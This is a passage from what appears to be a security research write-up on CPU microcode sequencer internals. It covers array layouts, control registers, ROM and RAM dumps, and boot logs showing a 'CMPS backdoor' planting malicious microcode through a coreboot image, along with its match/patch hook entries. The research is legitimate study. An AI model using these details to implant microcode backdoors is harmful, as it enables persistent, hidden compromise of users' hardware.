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| 0 | NOP |
| 2 | WRITE |
| 3 | READ |
Known arrays:
| PDAT CR | ArraySel | Name | Description |
+---------+----------+----------------+-------------------------------|
| 0x6A0 | 0 | ms_rom | Microcode ROM triads |
| 0x6A0 | 1 | ms_rom_seqw | Microcode ROM sequence words |
| 0x6A0 | 2 | ms_ram_seqw | Microcode RAM sequence words |
| 0x6A0 | 3 | ms_match_patch | Microcode match/patch |
| 0x6A0 | 4 | ms_ram | Microcode RAM triads |
Some control registers are not listed above. For example, set/unset bit-0
of 0x692 to disable/enable the match/patch mechanism. And, writing 0 to
0x38C halts frontend instruction fetching.
The Microcode Sequencer utilizes five memory arrays. As previously
described, array 3 stores the match/patch table. Arrays 0 and 1 form the
microcode ROM space, spanning addresses 0x0000 through 0x7BFF. The writable
RAM space consists of Arrays 2 and 4, occupying the address range from
0x7C00 to 0x7DFF for microcode updates.
Arrays 0 and 4 store microcode triads, with each entry consisting of three
micro-operations and one unused field. For example, partial dump from array
0:
addr uop0 uop1 uop2 unused
0000: 00626803f200 000801030008 004800013000 000000000000
0004: 05b900013000 000a01000200 014800000000 000000000000
0008: 000c6c97e208 0005a407de08 01310023d23d 000000000000
000c: 00470003dc7d 0150015c027d 000000000000 000000000000
...
7bfc: 000000000000 000000000000 000004d3ebf4 000000000000
Each microcode triad comprises three micro-instructions located at
consecutive addresses (e.g., 0x0000-0x0002), with the fourth position
consistently unused and zeroed. Array 4 maintains an identical structure
for the writable microcode RAM space.
Arrays 1 and 2 contain the sequence words that correspond to each microcode
triad. As shown in this partial dump from array 1:
addr seqw
0000: 0000018e5e40 0000018e5e40 0000018e5e40 0000018e5e40
0004: 00000b000240 00000b000240 00000b000240 00000b000240
0008: 000001890900 000001890900 000001890900 000001890900
000c: 000006a71180 000006a71180 000006a71180 000006a71180
...
7bfc: 0000018000c0 0000018000c0 0000018000c0 0000018000c0
This quadruple repetition occurs because only one sequence word is needed
per microcode triad and the addressing scheme for sequence word access may
use (Uaddr >> 2) as the index. The design likely enables parallel fetching
of both microcode triads and their corresponding sequence words by
maintaining address alignment between the two structures.
For the CMPS backdoor, if the pre-built coreboot image is correctly flashed
onto the board, the following logs will appear in the serial console during
boot. These logs demonstrate how the malicious microcode takes over the
MSRAM.
[INFO ] patching addr: 00007dbc - ram: 000001bc
[INFO ] 7dbc: 11890b8279c8 11890b8279c8 11890b826988 018000c0
[INFO ] 7dc0: 11890b826988 000000000000 000000000000 018000c0
[INFO ] 7dc4: 100500021861 237d3f000e88 0fff00000000 030000f2
[INFO ] Patching 3de8 -> 7dc8
[INFO ] 7dc8: 000000000000 1c0000231027 0008901f000d 018000c0
[INFO ] 7dcc: 006410030230 0040d75b0230 006410030230 018000c0
[INFO ] 7dd0: 0040e65f0330 006410030230 00403d770370 018000c0
[INFO ] 7dd4: 000000000000 00450003ac31 0150bc7402fa 018000c0
[INFO ] 7dd8: 1c0000231027 1c0000630026 108501034d08 018000c0
[INFO ] 7ddc: 015dec740240 015ded740240 015dee740240 018000c0
In the match/patch table, the last two entries are occupied: one
corresponds to the backdoor hook (previously described, though with a
different offset due to CPU stepping), and the other is the IN instruction
microcode patch, which is critical for maintaining persistent microcode
hooks.
idx p src dst
00: 0 0x0000 0x0000
01: 1 0x4dc0 0x7c4c
02: 1 0x2078 0x7c0e
03: 1 0x682a 0x7c86
04: 1 0x1c3c 0x7c30
05: 1 0x6a10 0x7c44
06: 1 0x3c7a 0x7c22
07: 1 0x4f52 0x7cca
08: 1 0x01d6 0x7c6a
09: 1 0x2e44 0x7cbe
10: 1 0x70fa 0x7c9e
11: 1 0x13c2 0x7cea
12: 1 0x67a0 0x7c6e
13: 1 0x0cd2 0x7c82
14: 1 0x209c 0x28d8